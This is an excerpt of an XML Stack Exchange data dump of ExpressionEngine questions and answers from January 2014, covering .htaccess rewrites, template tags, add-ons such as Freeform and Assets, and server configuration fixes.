  <row Id="18106" PostTypeId="2" ParentId="18098" CreationDate="2014-01-06T14:30:50.097" Score="2" Body="&lt;p&gt;Okay. We found the solution. There needs to be a '?' at the end of index.php. Now the .htaccess looks like this, if interested:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{REQUEST_URI} !/wolkenlos/.* [NC]&#xA;        RewriteRule (.*?)index\.php?/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;        # Directs all EE web requests through the site index file&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="184" LastEditorUserId="184" LastEditDate="2014-01-06T15:05:47.740" LastActivityDate="2014-01-06T15:05:47.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18107" PostTypeId="2" ParentId="18104" CreationDate="2014-01-06T15:13:47.897" Score="2" Body="&lt;p&gt;Tested this template on EE 2.7.2, and it appears to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're going to use the channel entries loop you've already got to generate a list of entry id's, which we're going to feed to the remarkably handy &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt; add-on, which will display a list of all of the categories that belong to the entries in question without duplicates.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories parse=&quot;inward&quot; entry_id='{exp:channel:entries channel=&quot;news&quot; dynamic=&quot;no&quot; limit=&quot;12&quot; ear=&quot;{segment_2}&quot;}{entry_id}|{/exp:channel:entries}0'}&#xA;  {cat_name}&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{cat_name}&lt;/code&gt; is all I'm outputting there, but, that add-on has a plethora of variables available; I'm sure you'll be able to display whatever you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few other notes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what the &lt;code&gt;limit=&quot;12&quot;&lt;/code&gt; is about; it should probably be removed, otherwise you're only going to be getting the categories for the first 12 entries each year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;disable=&quot;categories,custom_fields,member_data,pagination&quot;&lt;/code&gt; should also probably be added to your &lt;code&gt;exp:channel:entries&lt;/code&gt; to keep things as speedy as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an extra &quot;0&quot; immediately following the channel entries loop; that's intentional, and is there to prevent issues with &quot;no results&quot; cases, and, prevents us from having to trim the trailing pipe - win-win, I say.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-06T15:13:47.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18109" PostTypeId="2" ParentId="18105" CreationDate="2014-01-06T15:23:40.713" Score="2" Body="&lt;p&gt;I have a conditional based on order_payment_gateway in my receipt template and this works for me when used within the &lt;code&gt;exp:cartthrob:submitted_order_info&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if order_payment_gateway == &quot;ct_offline_payments&quot;}ACH{if:else}Card{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So building from that you could try...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if order_payment_gateway == &quot;ct_offline_payments&quot;}&#xA;    Offline&#xA;{if:elseif order_payment_gateway == &quot;paypal_express&quot;}&#xA;    PayPal&#xA;{if:else}&#xA;    Other&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suggest outputting &lt;code&gt;{order_payment_gateway}&lt;/code&gt; in your template so you can double-check that &quot;paypal_express&quot; really is the correct value to test against.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-01-06T16:48:23.780" LastActivityDate="2014-01-06T16:48:23.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18110" PostTypeId="2" ParentId="18085" CreationDate="2014-01-06T15:33:58.180" Score="0" Body="&lt;p&gt;The main problem is probably here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This bit tells Apache to check every request filename against a file that may or may not exist on the filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use something like this which just does some regular expression comparisons, which should be much faster.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Exclude root files&#xA;RewriteCond $1 !^(favicon\.ico|favicon\.png|index\.php|path\.php|php\.ini) [NC]&#xA;# Exclude EE folders&#xA;RewriteCond $1 !^(system|images|themes)/ [NC]&#xA;# Exclude 3rd party folders&#xA;RewriteCond $1 !^(css|js|content)/ [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2568" LastActivityDate="2014-01-06T15:33:58.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18111" PostTypeId="2" ParentId="18103" CreationDate="2014-01-06T15:53:02.587" Score="0" Body="&lt;p&gt;have you configured your extload.php file to show where your system folder is / is called? That is the file used for the callback url.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-01-06T15:53:02.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18112" PostTypeId="2" ParentId="18023" CreationDate="2014-01-06T15:58:03.533" Score="1" Body="&lt;p&gt;We've been working like maniacs to hit a deadline on this project, and hadn't had time to deploy the updated version of Assets that P&amp;amp;T's support quickly provided; although I did notice yesterday that the file I was testing this issue with had updated... apparently it just took a few days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I strongly suspect this was a problem for us because we're using Cloudfront to serve these files, not plain vanilla S3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several &lt;a href=&quot;https://stackoverflow.com/questions/1086240/how-can-i-update-files-on-amazons-cdn-cloudfront&quot;&gt;posts in the regular Stack Exchange site that address this issue&lt;/a&gt;; in order for Assets to handle this automatically, it looks like a special API call would need to be performed. Don't know if that's possible or not, but, at least there's a theoretical solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Barring that feature support:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;advise content creators to upload files with a version number in the&#xA;filename instead of replacing them directly&lt;/li&gt;&#xA;&lt;li&gt;wait a few days for the new version to propigate on its own&lt;/li&gt;&#xA;&lt;li&gt;issue a cloudfront update manually via an API call or the AWS control panel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="33" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-01-06T15:58:03.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18113" PostTypeId="1" CreationDate="2014-01-06T16:14:42.193" Score="2" ViewCount="329" Body="&lt;p&gt;I'm using Freeform Pro v.4.0.12.  My form submits a to a review page so that user can edit their form data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using 2 file upload fields and both files are successfully uploading.  However, on the review page, only one file appears.  Any idea why or what I can do to make the 2nd file upload field editable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter T&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw this other post below, but since both my files are uploading, I don't think it applies to my issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/16682/freeform-4-x-doesnt-upload-files-but-no-error-occurs/16683#16683&quot;&gt;Other post&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1469" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2020-11-30T17:05:30.453" Title="Freeform multiple file upload, only one appears in review/edit form" Tags="|solspace-freeform|file-uploads|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18115" PostTypeId="1" AcceptedAnswerId="18117" CreationDate="2014-01-06T16:28:28.717" Score="1" ViewCount="230" Body="&lt;p&gt;Is there a simple way of exporting all the channels and associated fields? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than copying everything out of the channel field groups manually, I'm looking for a simple way (even via a plugin) to export the list of channels and associated fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While all the fields are usually planned out in advance, the final product is a little different and I want something that could be easy to print out - for a variety of reasons, including double-checking the work and making a usage guide for end users.&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2014-01-06T17:10:16.457" Title="Exporting lists of channels and associated fields?" Tags="|channel|fields|export|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18117" PostTypeId="2" ParentId="18115" CreationDate="2014-01-06T17:08:45.757" Score="0" Body="&lt;p&gt;You can export / import field groups with &lt;a href=&quot;http://devot-ee.com/add-ons/field-editor&quot; rel=&quot;nofollow&quot;&gt;Field Editor&lt;/a&gt;, although it's in json format you should be able to reformat the text to suit your purposes.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-01-06T17:08:45.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18118" PostTypeId="2" ParentId="18115" CreationDate="2014-01-06T17:10:16.457" Score="0" Body="&lt;p&gt;There's nothing that I know of that will summarise your Channels and Field Groups like that but I think &lt;a href=&quot;http://devot-ee.com/add-ons/field-editor&quot; rel=&quot;nofollow&quot;&gt;Field Editor&lt;/a&gt; will probably be the closest to what you need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will allow you to save your field groups for import/export along with providing a useful on-screen summary if you wanted a visual reference. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-01-06T17:10:16.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18119" PostTypeId="1" AcceptedAnswerId="18887" CreationDate="2014-01-06T17:36:08.633" Score="2" ViewCount="79" Body="&lt;p&gt;I have an Assets field on my site. When I click to upload files, the assets box opens as it should, but displays my homepage. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1746" LastActivityDate="2014-01-29T19:03:23.300" Title="On back-end, trying to use Assets loads my homepage on the Assets box!" Tags="|assets|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18120" PostTypeId="2" ParentId="18113" CreationDate="2014-01-06T17:41:14.470" Score="0" Body="&lt;p&gt;It turns out the other post was a big help and answered my question!&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2014-01-06T17:41:14.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18121" PostTypeId="2" ParentId="18119" CreationDate="2014-01-06T17:41:47.137" Score="1" Body="&lt;p&gt;Update: based on your comment that you've got a multiple sites installed on the same server:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the correct system dir is being specified in your &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;admin.php&lt;/code&gt; files, and that you've got valid values for &lt;code&gt;$config['base_url']&lt;/code&gt;, &lt;code&gt;$config['site_url']&lt;/code&gt;, and &lt;code&gt;$config['cp_url']&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;====&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An over-ambitious .htaccess re-write rule is commandeering the &lt;code&gt;?ACT=&lt;/code&gt; request, and redirecting the URL to the homepage, perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should be easy to test; comment out and/or remove the .htaccess rules, if possible, and see what happens.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2014-01-06T18:13:08.450" LastActivityDate="2014-01-06T18:13:08.450" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18122" PostTypeId="2" ParentId="18090" CreationDate="2014-01-06T18:02:39.230" Score="0" Body="&lt;p&gt;Have you tried it without using quotes around the variables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, instead of '{logged_in_group}' you should just say {logged_in_group}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use quotes, I believe you are actually comparing strings, instead of comparing the values, and that means you are literally comparing the string {logged_in_group} to 3 instead of getting the value and comparing the two integers.&lt;/p&gt;&#xA;" OwnerUserId="2422" LastActivityDate="2014-01-06T18:02:39.230" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18123" PostTypeId="2" ParentId="17882" CreationDate="2014-01-06T18:09:12.283" Score="1" Body="&lt;p&gt;Have you looked at &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; add-on? You should be able to set up a &quot;parcel&quot; to go out when a member registers that could include any custom member or channel fields (see the &lt;a href=&quot;https://www.objectivehtml.com/postmaster/parcels&quot; rel=&quot;nofollow&quot;&gt;Variable Reference&lt;/a&gt; section in the Postmaster docs).&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-01-06T18:09:12.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18124" PostTypeId="1" CreationDate="2014-01-06T18:35:02.723" Score="0" ViewCount="150" Body="&lt;p&gt;This is on EE 2.7.2. I have just moved a site to a new server. The site was working perfectly before hand, but now that it was migrated all the backend form submissions only return JSON. Some examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Save an entry, I get a page with just: {&quot;message_success&quot;:&quot;Entry Has&#xA;Been Updated&quot;} &lt;/li&gt;&#xA;&lt;li&gt;Clear the cache: {&quot;message_success&quot;:&quot;Cache files have&#xA;been deleted&quot;} &lt;/li&gt;&#xA;&lt;li&gt;Loading entries page: big list of JSON entries&lt;/li&gt;&#xA;&lt;li&gt;Saving an entry: {&quot;message_success&quot;:&quot;Entry Has Been Updated&quot;}&lt;/li&gt;&#xA;&lt;li&gt;Sometimes while reloading one of these JSON pages, it just logs the&#xA;user out and shows a page with &quot;Logged Out&quot; and I have to wait a few&#xA;minutes before I can load the backend login form.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some submissions seem to work:&#xA;Saving Template General Configuration: works as expected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering what could cause this. I am assuming it is a path setting, but wasn't sure what would only output JSON instead of loading a page. I also noted that there are no JS errors, but the developer log is full of this message: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deprecated function generate_json() called in system/expressionengine/third_party/structure/mcp.structure.php on line 220.&#xA;Deprecated since 2.6. Use the native JSON extension (json_encode()) instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone familiar with this issue and what may be causing it? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2014-01-06T18:51:44.123" Title="Form Submissions just return JSON" Tags="|system|system-messages|json|" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-24T08:15:49.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="18125" PostTypeId="1" CreationDate="2014-01-06T18:49:17.223" Score="2" ViewCount="45" Body="&lt;p&gt;Is there a way to display all status updates from a particular member group in templates irrespective of whether or not they are friends (of the logged-in user)?&lt;/p&gt;&#xA;" OwnerUserId="2570" LastActivityDate="2014-01-07T16:56:40.817" Title="Solspace Friends - Status Updates Display" Tags="|solspace|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18126" PostTypeId="2" ParentId="18124" CreationDate="2014-01-06T18:51:44.123" Score="3" Body="&lt;p&gt;The issue was related to PHP. This was a mediatemple GS server and it had the PHP set to 5.3.27 FastCGI. I had to change this to 5.3.27 CGI (stable) and this seemed to clear up all the issues. Hopefully this may help someone in the future as the issue was unexpected and not clear what the issue was.&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2014-01-06T18:51:44.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18127" PostTypeId="1" CreationDate="2014-01-06T18:52:16.120" Score="1" ViewCount="125" Body="&lt;p&gt;We implemented a slide show in our homepage and would like to place a video as one of the sliding images.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can a slider include a video?&lt;/li&gt;&#xA;&lt;li&gt;If not, can you toggle between video and slider in the CMS?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2571" LastEditorUserId="55" LastEditDate="2014-01-06T19:04:57.333" LastActivityDate="2014-01-06T19:10:45.797" Title="Slide Show on homepage" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18128" PostTypeId="1" CreationDate="2014-01-06T19:06:24.863" Score="0" ViewCount="123" Body="&lt;p&gt;I have an MSM setup where the primary site is the &quot;main&quot; site in EE and the subdomains are all sub-sites in EE. I have built out the primary navigation in the main site, but I don't know a good way to keep the primary domain as the first segment when needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in all of my sub-domain sites, I use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;main_site:includes/.nav_main&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in that .nav_main, I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- HOME --&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;!-- HOME --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That reads different on each sub-domain because they are all a &quot;site&quot;. Some of the sub-domains will have their own navigational elements so {site_url} works fine for them when/if I needed to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice to be able to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{site_url:site_name} or {msm:site_name:site_url}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a plug-in, add-on, or native functionality I am missing?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2014-01-06T19:11:50.980" LastActivityDate="2014-01-06T19:24:33.540" Title="Dynamic navigation on an MSM setup using {site_url}" Tags="|ee2|add-on|multi-site-manager|navigation|global-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18129" PostTypeId="2" ParentId="18127" CreationDate="2014-01-06T19:10:45.797" Score="2" Body="&lt;p&gt;Yes, assuming that your slider is powered by a channel, with a distinct custom field group, you could simply add a new field for your video items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could either be a text input field where you would paste the URL to a video (which you then turn into an embedded video using a plugin like &lt;a href=&quot;http://devot-ee.com/add-ons/antenna&quot; rel=&quot;nofollow&quot;&gt;Antenna&lt;/a&gt;), or a &lt;a href=&quot;http://devot-ee.com/add-ons/channel-videos&quot; rel=&quot;nofollow&quot;&gt;Channel Videos&lt;/a&gt; field which will generate the embed code for you, or even a text input field  where you'd paste a simple YouTube video ID, which you'd then include inside some &lt;code&gt;iframe&lt;/code&gt; embed markup in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes of course that whatever javascript you're using for your slider can accommodate video - but that's outside the scope of this site.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-06T19:10:45.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18130" PostTypeId="1" AcceptedAnswerId="18133" CreationDate="2014-01-06T19:16:11.757" Score="1" ViewCount="57" Body="&lt;p&gt;Is there an way to override the $_body in the email hook 'email_send'. I cant find a way to modify the raw body and not the $_final_body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rein&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2015-03-06T13:13:35.093" Title="Modify body in email_send hook" Tags="|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18131" PostTypeId="2" ParentId="18099" CreationDate="2014-01-06T19:18:05.187" Score="0" Body="&lt;p&gt;The fields are displayed in the order specified in each form's configuration screen (at the bottom, where you drag and drop fields for the form).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EFUhX.png&quot; alt=&quot;Freeform form configuration screen&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note where it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The fields in the right column will be available in this form on output and they will display in this order when using the {freeform:all_form_fields} tag pair.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(It really should include &quot;and when editing form entries in the control panel&quot;.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-06T19:18:05.187" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18132" PostTypeId="2" ParentId="18128" CreationDate="2014-01-06T19:24:33.540" Score="1" Body="&lt;p&gt;Your best bet is to hold this URL via a &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9798/how-to-create-a-global-variable-inside-config-php&quot;&gt;global variable defined inside of your config file&lt;/a&gt; (as standard user-defined global variables will be scoped to each site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or to get fancier, use &lt;a href=&quot;http://devot-ee.com/add-ons/low-variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;Low Variables&lt;/a&gt;, which will may help you elsewhere in your site build as well.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-01-06T19:24:33.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18133" PostTypeId="2" ParentId="18130" CreationDate="2014-01-06T19:28:19.073" Score="3" Body="&lt;p&gt;There is not. When building &lt;a href=&quot;http://devot-ee.com/add-ons/escort&quot; rel=&quot;nofollow&quot;&gt;Escort&lt;/a&gt;, I had to manually break &lt;code&gt;$finalbody&lt;/code&gt; into pieces using regular expressions so I could see what the email was actually made up of (note that it has already been mime-encoded at that point).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-03-06T13:13:35.093" LastActivityDate="2015-03-06T13:13:35.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18134" PostTypeId="2" ParentId="18067" CreationDate="2014-01-06T19:32:36.310" Score="0" Body="&lt;p&gt;I haven't run into this specific problem before, but a quick google turned up &lt;a href=&quot;http://ellislab.com/forums/viewthread/224762/&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; and &lt;a href=&quot;http://ellislab.com/forums/viewthread/175786/&quot; rel=&quot;nofollow&quot;&gt;this earlier thread&lt;/a&gt;, which seem to imply that you can't use custom fields in the member registration emails.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I am afraid there is no built-in way to use other variables in these mails. Perhaps Freeform can handle that? Otherwise it’d have to be a Feature Request. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I wouldn't recommend hacking core files, so your best bet is probably to check out &lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; or another email plugin to see if it can do this for you.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-06T19:32:36.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18135" PostTypeId="1" CreationDate="2014-01-06T20:53:13.900" Score="1" ViewCount="42" Body="&lt;p&gt;I would like the ability to set up individual pages for announcements. These pages would be read by employees only and they would have a specific url to to see these pages.   Example: &quot;We are closed today due to weather&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin for this or do we need to build them under &quot;Basic Templates?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2571" LastActivityDate="2014-01-06T21:30:41.943" Title="Basic Template for custom page" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18136" PostTypeId="1" CreationDate="2014-01-06T21:21:59.087" Score="0" ViewCount="690" Body="&lt;p&gt;I have done some searching and am unable to find an answer.  I am trying to sort my entries using the {parents} tag and it does not seem to be working, can anyone confirm this as a bug or know of an alternative way I can accomplish it? I am using EE 2.6.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the tag I have attempted with no results, just what seems to be random orders.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;sermon_series&quot; orderby=&quot;parents:entry_id&quot; sort=&quot;asc&quot;}&#xA;&#xA;{parents field=&quot;sermon_series&quot; orderby=&quot;parents:date&quot; sort=&quot;asc&quot;}&#xA;&#xA;{parents field=&quot;sermon_series&quot; orderby=&quot;entry_id&quot; sort=&quot;asc&quot;}&#xA;&#xA;{parents field=&quot;sermon_series&quot; orderby=&quot;date&quot; sort=&quot;asc&quot;}&#xA;&#xA;{parents field=&quot;sermon_series&quot; orderby=&quot;&quot; sort=&quot;asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I appreciate any thoughts.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2014-01-06T21:35:15.950" Title="{parents} sort and orderby" Tags="|relationships|parent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18137" PostTypeId="2" ParentId="18135" CreationDate="2014-01-06T21:24:09.033" Score="3" Body="&lt;p&gt;I recommend using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/pages/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Pages Module&lt;/strong&gt;&lt;/a&gt; for this. It will allow your users to easily create announcement pages with custom URLs and will keep your template set-up very minimal.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a re-usable &quot;announcements&quot; template to serve these entries (call it say, &lt;code&gt;pages.group/_announcements.html&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an &quot;Announcments&quot; Channel. In the Pages module configuration set the default template for this channel to be the new template you created for these entries.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, when publishing an entry in this Channel just be sure you give it a Pages URI. The Pages URI is a custom URL where your entry can be viewed (it can be anything you like).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;On the other hand...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If having custom URLs for your announcements is not important, or you think you'll never need to offer the user the ability to create other types of one-off &quot;pages&quot; on the site, then you would be fine to forgo the Pages module and just create a template to serve content from this Channel (eg &lt;code&gt;announcements.group/index.html&lt;/code&gt;). This would mean all your announcement page URLs would begin with the template group name and be very systematic, rather than custom. But that's not necessarily a bad thing.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-01-06T21:30:41.943" LastActivityDate="2014-01-06T21:30:41.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18138" PostTypeId="2" ParentId="18136" CreationDate="2014-01-06T21:35:15.950" Score="1" Body="&lt;p&gt;2.6.1 has a handful of bugs related to sorting/ordering relationships. Upgrading to 2.7.3 should sort those for you.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-06T21:35:15.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18139" PostTypeId="1" CreationDate="2014-01-06T22:37:44.293" Score="2" ViewCount="62" Body="&lt;p&gt;Hello where would you think the best place to add Length x Width x Height to the products?&#xA;I would think that this would then update the shipping details with costs. Rules don't seem to facilitate this.&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17628/recommendation-for-dynamic-store-product-data-updates&quot;&gt;Recommendation for dynamic Store product data updates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2573" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-01-08T22:10:30.563" Title="Adding Dimensions to Products with Expresso Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
